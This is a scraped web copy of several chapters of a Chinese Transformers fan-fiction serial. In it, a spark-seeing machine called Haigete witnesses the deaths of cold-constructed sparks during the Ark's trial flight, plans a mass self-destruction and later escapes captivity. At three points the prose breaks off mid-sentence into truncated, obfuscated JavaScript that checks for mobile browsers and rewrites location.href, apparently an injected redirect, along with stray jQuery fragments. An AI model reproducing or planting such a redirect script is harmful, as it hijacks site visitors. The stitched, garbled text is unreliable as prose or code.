听见那被用平静声音说出来的内容,震荡波瞪大了眼睛,手里的饮料差点撒出去。 “他的火种是你制造的?” “准确来说是经由我手,从领导模块里找到的遗传代码,”海格特平静地说,“他是第一个,我花了很长时间引导他找到自己最初的变形模式,不过在他的记忆模块上线前我们就分开了。” 所有通过人工方式诞生的火种都需要经过统一管理和分配,甚至因为用来制造他们机体的金属矿物跟不上量,有些火种在诞生后会被暂时静止保存在光子结晶中,等待真正诞生的那天。 那状态像极了被冰封后等待化冻的过程,因此这种方式被称为“冷制造”。 “……所以你一直在这里制造火种。” “嗯,但交给我的任务量不大,泰瑞斯特他们有更成规模的团队,相信他们一定能比我做得更好。” 震荡波欲言又止地看了他一眼:“你真不觉得闷吗?甚至没有与公共网络连接。” “我觉得还好。”海格特说着,打开旁边柜子里的抽屉,“还有时间做点别的事,你看。” 他将一张画递给震荡波,上面画着一颗…… “燃烧的黄矮星?你画得不错。” “啊,画得可能不是很像。”海格特歉意地笑了一下,“这其实是你的火种。” “……” “对,就是现在这种状态,它现在更像了,可惜你没办法直接看见。” 听见这话,震荡波用一种快到难以理解的速度将画收了起来:“那就把它给我吧,这下我可以直接观察一下。” “嗯?可以是可以……” “正好我也有东西要给你。” 科学家说着,从收纳空间拿出一个东西,稍微拼接几下后成了型。 “这是一台手持星际望远镜,上面有特殊金属做的装饰网格,我已经写入相应电子轨道信息。按理来说,你能看到火种的能力也能用它加强,甚至看到星际间的火种。” 海格特接过望远镜,仔细查看。 然后他问道:“为什么忽然做这个?” “我就知道你不关注新闻,”震荡波笑着拍了拍他的肩膀,“镇天威领袖半年前已经开始带领队伍进行方舟的第一次试航,经过我的计算,他们最近就快着陆到最近的行星了。 船员里面有很多人都是新生火种,不想看看他们着陆的瞬间吗?” 24.第二十四章 方舟此次试航的终点,被定在距离塞伯坦不算太远的一颗行星,由于运行轨迹的关系,它刚被观测到没多少年。 如果一切顺利,镇天威领袖会带领船员在那里建立临时基地,然后返回塞伯坦,准备正式的超远距离航行。 距他们出发已经过去了很久。 “根据计算,如果我们今天从尤斯出发,等到下个日落就能到加拉森,那里有个老天文站,视野和天气都能达到观测标准。” 震荡波兴致勃勃地说着,然而海格特却显得有些犹豫。 “这样是不是不太好。” “你指什么?” “我还有工作,而且没有获得离开的批准。” “这是什么话。”年轻的科学家哭笑不得,“领袖和哲拉萨斯老师现在都不在塞伯坦,他们管不到这里的事,不会有任何人发现的。噢海格特,你怎么这么老实。” 深色涂装的机器想了一会儿,又说:“会被夜巡发现。” “那我必须替他辩护了,连我都能看出来那个年轻人只是想知道真相,别说把你送到法庭,他连翻开人工智能伦理修订法案的兴趣估计都没有。” 震荡波说着,忽然从那双浅色的光学镜中察觉到了什么,声音稍缓。 “找这么多借口,你其实只是在担心这次的航行吧。” “……嗯。” 星际航行会导致火种远离塞伯坦,所以海格特从一开始就不是很支持。 当然他也不会表达出反对,这是另外一回事。 显然震荡波理解成他在担心别的了。 “我知道你可能对老师有些意见,但至少你不用质疑他的头脑,方舟比以前的所有星际战舰都要优秀。” 为了解说得更直观,震荡波甚至放出全息投影。 “假设一架常规星际飞船的综合评分是10x10x10,”他造出了两个大小悬殊的立方体,“那么老师建造的方舟就是100x100x100,这意味着两者之间有着至少千倍的差距。” 海格特看着那两个立方体:“这个数据是不是有点……” 夸张。 “确实,”震荡波略作思考后认真地点头,“实际情况下,它大概是一万的三次方,可能还不止,老师的研究成果总是超乎想象,我过于保守了。” 他伸手放大代表方舟评分的立方体,现在它几乎占满整个空间。 “……好吧。” 看来这个立方体,就跟他对哲拉萨斯的崇拜一样巨大。 海格特默默想着。 不过自己还是不会过去,出门顶多买点能量就绕路回来。比起观察星际航行,还是工作更重要。 想法很坚定,然而他忽略了另一个数值—— 那就是震荡波带他出去观测的决心,也是同等巨大。 “嗯?” 当通过升降梯来到地面时,海格特还以为天黑了,四周漆黑一片。 没等他调整好光学镜适应情况,脚下就忽然传来一阵震动,然后机体被谁抬了起来,天旋地转。 直到被放在座位上搭好安全扣锁,看着缓缓打开的窗格,海格特才发现自己已经在飞行器上了。 不知道用了什么手段,震荡波在有电磁波屏蔽的情况下,提前把一架飞行器侧停在实验室出口,舱门就罩在升降梯外面。 像是某些碳基生命捕猎用的笼子。 “只是一个保障。”坐到驾驶位的科学家笑得很爽朗,“我担心你反悔。” 海格特没有回答。 就这样安静了十几秒,震荡波回头看去,发现唯一的乘客正在面无表情地盯着自己。 “呃,”他显然被吓了一跳,飞行器跟着颠簸一下,“你生气了?” “你刚刚,把我抓起来,放在这。” 海格特说话的方式回到了他刚学会语言的时候,大概是真的有很强烈的情绪。 “噢我只是顺手就,”该死,‘顺手’这个词更糟了,“就是,机体大小的差异导致我做出了一些不合理的判断……” 震荡波试图辩解,声音越来越轻。 “我不喜欢这种被搬运的感觉,就像是你把我当成——”一台观测器材或者别的什么机器。 然而话还未说完,海格特就愣住了。 这种不满是毫无道理的,毕竟自己就是一台机器。而且从对方的火种来看也根本没有恶意。 大概是一直被震荡波当成塞伯坦人看待,连认知都出现偏差了。 无论如何,他打算先向震荡波道个歉。 但在那之前,科学家就先开了口:“我知道了,真的很抱歉,请原谅我这一次。” 这不对,该道歉的是我。 但话到嘴边,海格特却顺着说了下去:“只要你这一路上不要提哲拉萨斯,我就原谅你。” “那——” “还有他的发明研究,也不要提。” 震荡波肉眼可见地失落了下去,连火种的波动都黯淡几分。 “一个都不行?” 出于一些没来由的同情,海格特放宽了限制。 “和方舟有关的可以。” 毕竟那是他们接下来的观测目标。 但他很快就后悔了,因为在那之后的一路上,他听震荡波讲了全套方舟防卫模块的建设流程、量子主机的运算方式、以及最新的ITS(星际通讯线路)系统是如何搭建的。 但介于对方那颗火种在讲起这些时格外耀眼,海格特决定不再多说什么,只是一味地聆听。 “总有一天,我们能去到我们想去的任何地方,解决我们遇到的所有问题,海格特,方舟是个伟大的开始。” “嗯。” 虽然最初不感兴趣,但他现在看着震荡波的表情,也有点理解为什么别人都说那是一艘承载着希望的飞船。 就这样,第二天日落时两人到达了加拉森的老天文台,在一番检修和调整参数后,海格特将震荡波给自己的手持望远镜搭建到了设备上。 “接下来就是场硬仗,”震荡波深深置换了一口气,“可能会有点花时间,根据我的精确计算,他们现在的方位……” “我找到了。” 在用望远镜扫视一圈后,海格特很顺利地找到了那艘在星际中航行的飞船。 “什么?”震荡波还有点没反应过来。 “在特殊视觉模式下我看不见别的东西,所以在黑暗中看到发光的火种很容易。”海格特确定好方位,锁定了坐标,“谢谢你的望远镜,它很有用。” 然后他示意震荡波也来看看,同时将那个手持望远镜取下,在旁边进行观测。 “噢!那是、那是方舟?”科学家激动的声音很快传来,“我只能看到一个点……你能看得更清楚吗?” “嗯,飞船上火种的数量也和出发的时候一样,无论是冷制造还是神铸,都没有减少。” 这一路上没有额外的伤亡。 得知这个结果,两人都松了口气。 “对了,有件事我要再提醒一下,”震荡波忽然想起什么,“距离这么远,光传播回来需要时间。” 两人看到的,实际上是一段时间前的情景回放。 “你给我下载的基础知识里有这一条。”海格特点头,“按照当地时间,现在方舟应该已经着陆了。” “是的,他们进入大气层后,至少我这边就彻底观测不到了。”震荡波笑了一下,拿出数据板,“但我还是想做些记录,能帮个忙吗?” 这个要求有些突然。 但海格特没想太多,只是眨了下眼:“但我能做的只有看着。” “那就告诉我你看到的情况吧。” 随后海格特开始描述,他不断切换两种视觉模式,从密集的火种群方位,震荡波理解了方舟的具体航线,还有人员布置。 “原来如此…主控室的安排…这样的话……” 他念叨着一些大概只有自己能听懂的只言片语。 很快,着陆开始。 先遣部队以十几人为一组,开始乘坐飞行器陆续离开战舰,着陆后又开始迅速排列起队伍。因为隔得太远,观察数量和位置已经是极限,海格特并不能看出这些火种的情绪。 “这个阵型,”震荡波若有所思,“原来如此,这样的布局在计算上能最大程度减少意外损伤的概率……” 他不断计算和分析,直到海格特看到了最初的牺牲: “有两颗火种熄灭了,在这个方向,”他在数据板上指了两下,“其余人开始移动。” “……那里可能有未知的危险地形。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14888453|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “嗯。” 宇宙探索总是充满风险,所有人都对方舟的减员早有心理准备,连那些选择出发的人自己也是。 在避开危险地形后伤亡就停止了,队伍开始在行星表面整合。 就这样安静地过了很长一段时间,直到海格特注意到了一个异常情况。 “震荡波,有件事很奇怪。” 忽然被这么叫一下名字,科学家还有些不适应。 “怎么了?”他从数据分析中抬起头。 “所有被留在队伍中央,腹地位置的火种……都是冷制造。” “你还能看出神铸和冷制造的区别?” “不,”海格特摇头,“我只是记得他们火种的样子。” 从冷制造的技术里诞生的火种,哪怕不知道名字,但每一颗他都记得。 “根据目前的队形,领袖和老师也在阵地中央,我估计他们大概是遇上原生生命了,现在在进行交涉。”震荡波分析道,“可能会爆发冲突,但冷制造诞生的火种经验尚浅,哪怕已经经过训练,也不适合一上来就作为战斗单位行动,这样的安排是合理的。” 确实如此。 海格特感觉稍微安定了一些,继续进行观测。 和以往一样,塞伯坦人那星星点点的生命之源,在漆黑一片的世界里,成为他注视的一切。 那些新生的冷制造火种,想必今后也将继续燃烧下去…… “咦?” 只是一瞬间的功夫,他突然发现自己看不见那些星星了。 是我不小心移动了方向吗? 海格特理所当然地这样想着,稍稍移动了一下望远镜,又重启了光学镜的系统,但还是没有。 无论到哪个方向,都找不到刚刚那片冷制造的火种。 看错了? 不可能,明明领袖他们的火种还在原地。 除非是某种集体性的量子跃迁,但他们刚刚到那个星球,怎么可能准备好跃迁场地? “到底是,怎么回事?” 海格特感到一种诡异的不适,他努力试图理解眼前的情况,忽然感觉中央处理器的位置传来一阵痉挛的疼痛。 (X+Y)?Δ∥φ(&)……&…… tam、enx、imiele “什么?” 他紧闭双眼,试图压下这种疼痛。 ?(α?Θ) TaMenxi “我不明白?” Mie了。 “到底是……什么意思?” 7+42)?0.003∥5.7 T·M·X·M·L····· 海格特茫然地看着处理器给出的信息,在那里,扭曲逻辑的报错通知接踵而至,好像有一个固执的答案咆哮着狂吼着不断向着中心传达什么,但每次在到达被理解的程度之前就会被当成垃圾信息处理掉。 “没事吧?” 是震荡波的声音。 “啊,没事。” 回过神的时候,科学家正抓着他的肩膀,满脸担心,于是海格特冷静地做出了回应。 “刚刚可能有点混乱,但已经没事了,对不起让你担心。” “真的?” “对。” 没什么可奇怪的。 对,就是这么回事。 “那能告诉我刚刚发生了什么吗?”震荡波问他,“你突然开始一边流泪一边自言自语,看上去真的很吓人。” “什么事也没有,”海格特说,“只是那些冷制造火种全都熄灭了。” 咦? “什么事也没有,只是那些冷制造火种全都熄灭了。” 我在。 “什么事也没有,只是那些冷制造火种全都……” 说什么? “可以,已经可以了!听得见我说的话吗?”震荡波用力晃了晃他,紧紧皱起眉,“先看着我,海格特,看着我的火种,别的什么也不要思考。” 海格特勉强回了回神,他听从指令将目光放在那颗明亮的火种上,其中过于复杂的情绪让他根本无法辨别,只能哑然。 “对,就这样不要动,相信我。” 震荡波这样说完,悄悄从身后取出电压枪,将陷入精神错乱的机器强制下线了。 25.第二十五章 方舟顺利回到了塞伯坦。 在降落后的第二日,光之堡垒前的广场上举办了一场盛大的庆祝仪式。 虽然回到塞伯坦的人数比去时少了很多,但那些人上线时间不长,没什么社会关系,因此当领袖宣称他们都留在行星建造基地,之后也将长期驻扎时,没有人提出质疑。 此次航行带回不少从外星开采的矿物能源,并且证明了未来远航是可行的。 毫无疑问,这是一场丰收的成功。 人群欢呼着为归来的英雄们送上祝福,每个人都沉浸在喜悦中。 只有一个人例外。 在大家的笑容之间,海格特一动不动地站着,在这个被祝福和赞美包围的世界里,他只是盯着人群中镇天威领袖的身影。 “……” 那身黑色的涂装在人群中很是突兀,领袖当然发现了他,侧身对护卫说了些什么,而在那些人赶来前,震荡波先一步挤进人群将海格特带离了广场。 “做什么?”海格特问。 “你还问做什么?”科学家听上去被激怒了,“难道你想在这么多人面前,这么多持/枪/护卫前,跟镇天威领袖对峙!?” 海格特被拉着手臂往前走,一直到了人迹罕至的小巷。 阴凉的光线中,他用沉默作为一种肯定。 “我知道你有很多想问的,比谁都知道。” 震荡波叹了口气。 “所以我会向哲拉萨斯老师上报会面申请,不要着急,如果他不答应,我会再去请求顶天者。” “真遗憾,我在自己的学生眼中居然那么无情吗?” 路的前方突然传来一个声音,就在它落下的瞬间,海格特睁大了光学镜,绕过震荡波几步走上前去。 “哲拉萨斯,告诉我那颗星球上发生了什么,那些火种为什么突然全都——” “哈,你会知道这些,说明有些人真的做了多余的事。” 哲拉萨斯这声毫无感情的嗤笑是针对海格特的,但眼睛却看着震荡波——准确来说是他拉着海格特手臂的那只手。 在数秒的分析后,他忽然露出一个不知道是惊讶还是讽刺的表情。 “真有意思,不过我早该算到的,当年地下那些蓝色的光可能真的迷惑了你的心智……” “老师。”震荡波忧虑地重复了海格特之前的问题,“试航的时候到底发生了什么?” 哲拉萨斯看了他一会儿。 “全都是些星际航行中常见的情况而已。我们着陆后遭遇了那颗行星的原生生命,镇天威陛下发起谈判,然后谈判破裂,他们进攻,我们反击,为了尽可能保全方舟,不得不牺牲了很多人。” “……为什么?”海格特问。 “这个问题不符合逻辑,”矮个子的科学家冷静地说,“我已经把事情说得很明确了。” “你在说谎。” “原来这里是要开展辩论赛吗?”他有些不耐地摊开双臂,“看看这颗火种吧,你分明是这颗星球上最清楚我没有说谎的。” 海格特感觉喉咙被塞住似的,无法发出声音。 哲拉萨斯的火种波动,从始至终没有显示出一丝代表谎言的动摇。 他说的是实话。 “就像镇天威陛下说的那样,你要记得各司其职。”哲拉萨斯说,“外星探索出现牺牲是概率上无法消除的事,对民众公布多余的情报只会滋生恐惧,然后恐惧会变成战争——比起在这摆出一副受害者的样子,你更应该去继续制造火种,毕竟归根结底这不是你导致的事故吗?” “我…导致……” “是啊,是你的行动和情报让人口恢复到内战前的水准,能量消耗随之增加,我们就不得不进行更多外星探索,所以我劝你还是早点习惯减员的情况。” 减员? 我所珍视的那些火种,在你们口中就是一句“减员”而已!? 海格特瞪大眼睛,神经网络的电信号在震颤,让他有种怒吼的冲动。 但是,自己没有这个资格。 早在那成百上千的冷制造火种熄灭的瞬间,他的行为就已经变成了罪的根源。 他不该从领导模块里提取数据,不该用这种异常的方式制造火种,更不改为了一己私欲就增加火种的数量。 …… 但是已经晚了。 今后冷制造会继续,死亡也会继续。 一切都脱离他的掌控,将世界化为活着的地狱。 “等一下,老师!”震荡波忍不住反驳了哲拉萨斯,“制造火种的事是我向他提出的请求,方舟的启程是全塞伯坦的决定,这无论如何也不能算是海格特的责任。” “那你,认同他拥有自由意志吗?” “我……” “无法造成罪过,无法自主作出决定,那只有毫无意识的机器,但我记得你不是这么看待他的吧?” 哲拉萨斯实在太了解震荡波了,情感永远是他的最大缺点,几句话就能说得他无法反驳。 随后,科学家的表情就像是结束了一件小事般稀松平常,他朝着路的另一边走去,走之前似乎还吩咐了震荡波几句话,和新研究相关,但海格特的音频接收器将那些东西都忽略了。 “不管你怎么想的,至少我是真的认为这些都不是你的错。” 震荡波打算继续说些什么,但又话到嘴边又收回了发声器。 因为他看到海格特在笑。 那双光学镜空洞地看着自己,但他在笑。 “不用担心我。”机器说道,“他是对的。” ——“我该继续工作了。” …… 海格特回到了实验室。 他舍弃了大多数行为和情绪,只留下基础功能,之前发生的事被刻意地抛之脑后,几乎暂停了一切思维。 可想而知,总有一天他会忘记过去发生的事,直至真正的丧失自我。 意识到这一点后,震荡波曾经试图做点什么来阻止,但无力感随之而来。 我还能做什么?让海格特睁开眼面对现实? 但现在除了逃避现实之外还有别的办法吗? 所以他有很长一段时间没有再去见海格特。 直到后来的某一天,震荡波再次来到了实验室。 “方舟的正式起航就要开始了。” 机器回头看他,于是震荡波露出一个微笑。 “你想过彻底结束这些吗,获得安宁吗?” “……” 海格特微微愣了一下,然后像是再次燃起希望那般,用力地点了下头。 大概也就是在哪个瞬间,一场注定无法善终的计划开始了。 —— ———— 方舟在一片平原启航,由于先前哲拉萨斯研究的组合金刚失控的事件,他们离开得非常匆忙,几乎有些仓促。 一切都准备妥当,然而就在登船结束,即将起飞时,哲拉萨斯突然发现主动力系统出了故障,与此同时,大地开始发出前所未有的轰鸣。 就像星球本身要裂开那样,从水晶城的地下开始,一道深深裂痕迅速向方舟的方向蔓延,就像不断延伸的捕猎网。 然后,温暖的蓝色光亮从那深不见底的裂缝中显现。 “那是……!” 哲拉萨斯几乎是瞬间就意识到了什么,赶紧启动了备用系统,操作起方舟,但战舰就像是被吸在地上一样无法移动。 “没用的。” 一个声音从方舟的通讯频道里传来,方位是平原的另一端。 “因为‘我’在看着你们,重力系统已经被扰乱了。” 镇天威皱起眉,他敛着赤红的光学镜,命令手下显示那里的情况。 深色涂装的机器就站在那广袤的平原上。 “你这是在做什么?”哲拉萨斯率先问他,“阻碍星际航行对你有任何好处吗?” “不,”海格特说,“我是来告别的。” “告别?” “嗯,虽然有很多不愉快的事,但我还是非常感谢能和你们相遇,这段时间,是我诞生以来最重要的记忆。所以至少最后请让我为你们送行。” 他说话的同时,震动也在加剧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14900293|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,狂飙和惊破天想要下船发起攻击,但都被镇天威阻止。 “没必要。” 他命令哲拉萨斯开始给方舟上的武器充能,对准了蓝色冒出来的地方。 “没有用,你们都清楚。”海格特说,“我的本体在次级能量层,无论是下船还是用武器攻击都来不及了,所以来告别吧,你们和你们的野心,将随着我一起永远消失。” “你疯了!?” “嗯,或许是的。” 话虽如此,海格特感到的却是前所未有的平静。 “……” 地下,次级能量层。 看着重新上线的海格特的本体,震荡波陷入一阵沉思。 他帮海格特策划了一场疯狂计划,试图带着水晶城和方舟,以及上面的领袖等人一起同归于尽,结束这场亵渎生命的荒唐闹剧。 ……本应如此。 但这段时间发生了太多事。 他的老师找了六个志愿者,试图通过将他们组合在一起的方式完成传说中“万物归一”的指引,但他失败了,做出来了一个无法控制的疯狂怪物,被大力金刚暂时打败。 虽然事态的到了控制,但这也是震荡波头一次发现,他所崇拜,甚至盲信着的哲拉萨斯老师的科技,也并非无所不能。 他也会失败。 谁都有失败的时候。 想到这里,震荡波动身离开地下,回到海格特身边。 “你来做什么?” “来找你。” “那我可以问个问题吗?”机器看着他,“你为什么要对身为机器的我投入感情?” “我的老师哲拉萨斯,又或者领袖镇天威……长久以来,我接触的都是一些毫无感情的人,在他们眼里,我这种过度的情绪是一种疾病。但对于顶天者那样寄托宗教,抛开逻辑以求庇护的人来说,我又太过理性。” “嗯。” “所以这到底是怎么回事……我也不太清楚。” “没关系。” 他们之间沉默了一会儿。 “你真的确定这样就可以了吗?”震荡波问。 “是的,我想我就这样结束。” 海格特回答。 在看到方舟上的冷制造火种熄灭之后,那痛苦的每一天都是因为有他在,自己才没有步入绝望。 这个年轻的科学家真的太好了。 那么为什么他会对作为机器的自己这么好呢? 一个火种天生有异常,总是情绪高昂的塞伯坦人,和一台压根没有火种的机器,如果说两者之间产生什么感情,那大概任谁来看都是十分荒唐、无法理解、甚至无法在理论上成立的事,但他们还是不自然地坠入其中。 思考着这样的问题时,他突然听见背后传来变形的声音。 “我还是觉得这不该是结束。” “咦?” 海格特回过头,然后意识就陷入一片空白。 …… “当我看着你为那些冷制造的火种的死亡而痛苦到绝望时,我被这种原初而纯粹的情感打动。” 平原上,震荡波抱着残破的机器,身后的地下是已经停止发光的巨大眼睛,而身后的空中,是顺利起飞的方舟。 “你给了塞伯坦人很多机会,所以你也应该拥有第二次机会。海格特,我在你身上看到了万事万物改变的可能性,所以下次见吧,到时候我们可以再认识一次…… 那时一切都会有所不同,我保证。” —— ———— —————— 铁堡,汽车人安保部队总部。 在御天敌的武器库内,已经成为副官的警车正在清点情况,然后他来到了被关在培养舱里,已经沉眠了无数日夜的机器面前。 今天也不会有什么不同,本该如此的,但是这一回,里面的人默默睁开了眼。 不等警车做出任何反应,他突然听见海格特失望地开口了 “有所不同……?” 机器喃喃着,最终对着虚空吐露出了那个词: “骗子。” 26.第二十六章 隔着防弹玻璃,苏醒的海格特看向四周。 空间昏暗,电子机器的灯光在不停闪烁,到处摆放着认不出用途的机械,也没有窗,判断不出方位。 无数电缆交错攀附在地板、墙壁和天花板上,最终汇聚到他的周围,与其说这是个安置用的舱体,不如说更像个展览品。 唯一熟悉的事物,就是站在眼前的塞伯坦人。 警车的机体和他印象中有点不一样了,似乎经过一些升级。 “你好,好久不见,现在是什么时候了?” 他如此问道,也不知道声音有没有传到防弹玻璃对面。 而在意识到海格特真的上线之后,警车那双浅蓝色的光学镜短暂地闪过一丝惊讶,又迅速恢复冷静。 “你无权向我提问。”他生硬地回复。 “无权?”像是听见了很有趣的话,海格特追问,“那是什么意思?” “你是机器吧。” “大概是。” “那你就没有资格从军政副官这里获取情报。” “军政……原来如此。” 看来御天敌成为了领袖,而警车也已经不是机械法医。 海格特想了一下,继续道:“但法典应该没有规定你不能向一台机器透露情报吧。” “那就修改一下机器的定义——没有适应性和自主性,只能根据输入信息做出反应的实体——这样一来你就不是机器了。” “那我究竟是什么?” “不是机器,也不是塞伯坦人的某个存在。” 海格特忍不住笑了一下:“听上去有点狡猾。” 警车的表情倒是没什么变化:“你刚刚说了‘骗子’,这种话像个霸天虎说的。” “我下线了那么久,再醒来就变成了霸天虎。会有这样的事吗?” “既然不是,那你是在说谁?” “一个背叛者、野心家,连最细微的保证也遵守不了的人。” “……” 警车想了一圈,虽然稍微有几个猜测,但猜测不能作为事实。 就在他思考该如何处理、是否要将海格特苏醒的事情告诉御天敌领袖之类的事时,忽然听见了一声叹息。 “这样可不好。” 警车朝培养舱内看去。 海格特正看着他,准确来说——在注视着他的火种。 这么多年过去,似乎一切都变了,唯独眼前这台机器停留在过去,每个细节都和记忆数据库里调出来的一致。培养舱内泛白的光亮,又给他增加了一种仿佛超然于万物之外的气息。 或许是周围过于安静,警车稍稍放松了些。 “……是指什么不好?” “你真的寄希望于御天敌,认为他会给塞伯坦带来充满秩序和光明的未来吗?” 银白色涂装的领袖副官敏锐地皱了下眉:“你想套我的话,让我告诉你现在的局势情况。” 海格特没有否认,但也没有继续追问。 从那颗火种的波动里,他已经看到了各种各样的东西,比如焦虑、怀疑、不安全感……以及造成这一切的元凶—— 对失控的恐惧。 被擅自制造出火种,赋予了职责,相信那些不牢靠的东西就是使命,然后接二连三地感到失望,迎来一无所有的结局…… 这样的冷制造者到底有多少?这样的塞伯坦人又有多少? 只要稍微一想,就让海格特感到难以忍受。 不能再等下去了。 “我想跟你做个交易,”他说,“你只需要告诉我现在的情况,我熟悉的那些人的情况。” “如果这是一场交易,那我能得到什么?” “一个你想要的未来:永远不会失控,充满秩序和正义,再也不会有愚蠢的勾心斗角,所有人都能获得幸福的塞伯坦。” 听见这荒唐的话,警车几乎笑了出来。 “我凭什么相信这种梦话?” “不要误会,我不是在做出保证。”海格特平静地看着他,“这是预言,不管你是否相信,这都是未来。” “你把自己当什么了?神明吗?” “是机械,或者正如你之前所说,我是介于机械和塞伯坦人之间的存在。而且我也不认为你会相信神明。” “……” 注视着悬浮在培养舱中的机械的姿态,警车用沉默示意他继续说下去。 “知道吗?据说世界上第一个拟人神经网络,是内战时期由微天星制造的,目的是为了计算他们发射向其他部落的高能射线路径。” “我有听过这种说法,来源并不可信,”领袖副官说道,“不过当时的战争很缺人手,他们会制造神经网络来高效解决问题,也在逻辑上说得过去。” “嗯,也就是说,被你们称为人工智能的东西最初是为了模拟现实而诞生的。当时的神经网络就足以计算出未来数年的战争局势,甚至预知部落的失败。那么寄生于人工神经,拟真程度足以欺骗你、欺骗所有人的这台机器(我)所模拟出来的未来,难道就并不可信了?” “……这么说,你也是为了模拟现实而诞生的?” 奇怪,为什么我会顺着他问下去。 难道我已经疯了? 警车这样想着,然而逻辑电路以一种奇怪的方式传来回馈,告诉他,海格特的话也不是全然不可能。 “我不知道,但应该是类似的理由。”海格特回答。 “好吧,最后一个问题:既然你可以模拟计算这么多东西,为什么又要从我这里获得情报?” 闻言,海格特再次笑了一下: “大概是因为我睁开眼睛的时候,你就站在我面前。” 如果真的不相信、怀疑甚至排斥。 那我最初睁开眼的时候,你的火种为什么又产生了像是看见奇迹发生那般,喜悦的波动呢? —— ———— 在警车的叙述中,海格特知道了他锁死下线后发生的事。 首先,假领导模块的事情曝光出去后,逆天劫遭到流放——这还是震荡波和顶天者等人努力争取来的结果,御天敌本来是打算借助群情激奋的民意顺势杀了他的。 然后,御天敌就成了新的领袖。 震荡波再次被革去议员职位,但这次他没有试图回到位置上,而是低调行事,不知道在做什么,很少有他的消息。先进技术学院的异能者们则是各奔东西。 奥利安·派克斯也是一样,他遭到了御天敌的全面通缉,但借助在民间的声誉,目前至少还没有被捕。 红色警报被治疗完毕后去了几趟心理诊所,然后找到了新的工作,他恢复得不错,只是在脖子后面安了个防护装置。 “不过那个前任议员,还有奥提雷克斯大学的一些人,他们试图找过你几次。”警车补充。 “但没有找到?” “是啊,最大规模的一次差点让整个铁堡都陷入动荡,在那之后就没动静了。” “……” 海格特不是很想听细节。 “其实在上任后,御天敌长官就将汽车人总部迁到卡隆,你被关在保密程度最高的私人军械库里。我也是最近才被授予权限,意外发现你在这里。” “我还以为他不会允许我和任何人产生接触。” “这我也不清楚,可能是忘了吧,毕竟也有很多年了。按照记录来看,他对你……开展过几次‘全面尸检’。” 真是久违的词汇。 海格特打开了自检系统,但显示一切正常。 “结果呢?” “结果就是每次报告末尾都显示你进行了自我修复,连物理性控制设备也被排异了,”警车说,“再加上不久前在C-12矿源地发生的一场暴乱,长官就放弃了对你的研究。” 他每次提起御天敌,用的不是“领袖”,而是“长官。” 是因为不认同吗?还是习惯使然? 虽然很想问个清楚,但现在有更重要的事要搞明白。 “你说暴乱,是指霸天虎?” 警车没有回答。 “战争要爆发了?” “……我无可奉告。”领袖副官继续闭口不谈。 “嗯,那就说点别的吧。”海格特点了下头,“你刚刚说了很多别人的事,那你自己又怎么样呢?” “我?”警车挑起眉,“你确定不想问问那个叫震荡波的前议员?你当时都做他的助理了,简直就像——” “呵呵。” 海格特很是轻快地笑了一声,打断了他的话。 不知为何,警车却感到了宛如火种被捏住般的恐怖。 这到底是什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“嗯,我一直相信着塞伯坦人,你也是。我们都以为只要把一切不稳定的因素都排除,或者解决某些问题,塞伯坦人就会走向美好的未来。” “你是想像个不切实际的悲观主义者那样,告诉我这是错误的吗?” 海格特的笑意加深了。 “所以我说这是一种病,几乎是不治之症啊。你会无限地失望,最后变得绝望,总有一天,你就会像我一样……” 直到这个时候,警车的逻辑电路才宛如过电一般,他终于意识到对方的违和感出现在哪里。 在海格特的光学镜深处,存在着像是把宇宙中所有暗物质吸收殆尽,令人窒息的无底黑暗,与他温和到堪称慈爱的表情毫不相称。 “你……!” 已经来不及了,警车甚至没来得及发出信号,就在海格特的前额上看见了一个类似眼睛的图案。 只是一瞬间的功夫,意识陷入黑暗。 “咔嚓——” 玻璃开裂的声音。 水流的声音,还有碎裂之声。 走出培养舱的海格特将失去意识的警车扶起来,靠着一侧的墙壁坐好。 确认这个房间没有监控后,他稍微想了一下,又拿走警车的武器,在周围制造了几个像是进行过搏斗的痕迹。 “这样就没问题了。”他说,“祝你有个好梦。” 说完,海格特取走通行证,借助能看到火种的能力逃离了卡隆的汽车人安保部队,步入卡隆的夜色中。 实际上,有一个火种从他刚刚苏醒的瞬间开始,就在不停地朝这边发送代表着【请求会面】的波动信号。 “我现在在安保部队附近,”海格特说,“所以你要到哪里会面呢?我去找你吗?” 信号消失了片刻,随后则变成了类似方位的指引。 于是他跟着对方的消息前进,最后在卡隆的某条街巷前,看到了那个呼唤自己的塞伯坦人。 “你到底是怎么想到改变火种波动来传递消息的?” 海格特抬起头,看着站在天桥上的那道深蓝色身影。 “声波。” 27.第二十七章 塞伯坦环轨行省,卡隆。 很多年前,这里曾聚集着第一批公然抗议的霸天虎运动者,他们举着标识,在街上成群结队地反对功能主义政府的所作所为,但如今那些人已经不见踪影。 不只是他们,人群从街头彻底消失了。 居民藏在拥挤的建筑物群里,惴惴不安,仿佛有颗随时会坠落的陨石悬在他们上空似的。 萧条的街头只剩商店的立体影像和招牌还在闪烁,接触不良的光亮偶尔映照出那唯二行人深色的机体。 “这里很安静,”海格特环顾四周,“是夜晚的缘故,还是卡隆一向如此?” 